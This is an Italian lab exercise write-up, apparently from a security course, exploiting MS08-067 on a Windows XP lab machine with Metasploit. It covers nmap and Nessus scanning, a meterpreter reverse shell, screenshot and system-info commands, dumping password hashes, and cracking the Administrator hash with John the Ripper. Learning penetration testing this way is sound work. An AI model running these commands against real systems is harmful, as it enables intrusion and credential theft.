

Hacking windows xp con metasploit

Avvio una scansione con nmap sul target per vedere tutte le porte aperte sulla macchina target

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.32.200
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-14 09:42 EDT
Nmap scan report for 192.168.32.200
Host is up (0.0011s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.74 seconds
```

Successivamente avvio una scansione basic con nessus sul target e l'esercizio mi chiede di exploitare l'MS08-067, mostrato nella figura seguente

CRITICAL

MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (ECLIPSEDWING) (...)

Description

The remote Windows host is affected by a remote code execution vulnerability in the 'Server' service due to improper handling of RPC requests. An unauthenticated, remote attacker can exploit this, via a specially crafted RPC request, to execute arbitrary code with 'System' privileges.

ECLIPSEDWING is one of multiple Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers.

Solution

Microsoft has released a set of patches for Windows 2000, XP, 2003, Vista and 2008.

See Also

<https://www.nessus.org/u?adf86aac>

Output

No output recorded.

To see debug logs, please visit individual host

Port ▲	Hosts
445 / tcp / cifs	192.168.32.200 🔗

Avvio l'msfconsole e col comando **search ms508-067**, vado a cercare l'exploit

```
msf6 > search MS08-067
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corrup tion

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/windows/smb/ms08_067_netapi`

Col comando **use 0**, inserisco l'exploit e successivamente col comando **show options**, vado ad inserire tutte le opzioni richieste. In questo caso l'rhost, che è l'ip della macchina da attaccare. Successivamente con show options ricontrollo che è stato inserito ed in questo caso il payload che ci serve (meterpreter) è stato già caricato di default.

```

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445             The SMB service port (TCP)
  SMBPIPE   BROWSER         yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.32.100  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.32.200
rhost => 192.168.32.200
msf6 exploit(windows/smb/ms08_067_netapi) >

```

Lancio l'exploit con il comando **run** e la sessione con meterpreter viene aperta.

```

msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 192.168.32.100:4444
[*] 192.168.32.200:445 - Automatically detecting the target...
[*] 192.168.32.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.32.200:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.32.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.32.200
[*] Meterpreter session 1 opened (192.168.32.100:4444 -> 192.168.32.200:1034) at 2023-06-14 09:49:43 -0400

meterpreter >

```

Provo diversi comandi sulla shell meterpreter, col **screenshot**, mi salva un'immagine del desktop della macchina attaccata su kali.

```

meterpreter > screenshot
Screenshot saved to: /home/kali/xPcIKxtI.jpeg
meterpreter >

```

Con il comando **sysinfo**, ottengo le informazioni del sistema della macchina attaccata e con il comando **webcam_list** vedo se ci sono webcam, in questo caso assenti.

```

meterpreter > sysinfo
Computer      : WINDOWSXPSP3
OS            : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter >

meterpreter > webcam_list
[-] No webcams were found

```

Con il comando **hashdump**, vado a recuperare tutte le password cifrate presenti sulla macchina target.

```

meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaae8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:d80b27cb5f3854d14b88f78149ef2b4a:0c77586e3b0610c47ddc9b311784ff10:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:d4d0cd82e860c5ce6b8106ec7d8e39ee:::

```

Vado a decifrare l'hash, con john. Prendo l'hash e lo metto in un file di testo, successivamente avvio la ricerca con il comando nello screen di seguito, utilizzando la wordlist rockyou.txt.

```
(kali㉿kali)-[~/Desktop]
└─$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt windows_xp_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password (Administrator)
1g 0:00:00:00 DONE (2023-06-14 10:14) 20.00g/s 1920p/s 1920c/s 1920C/s 123456..yellow
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```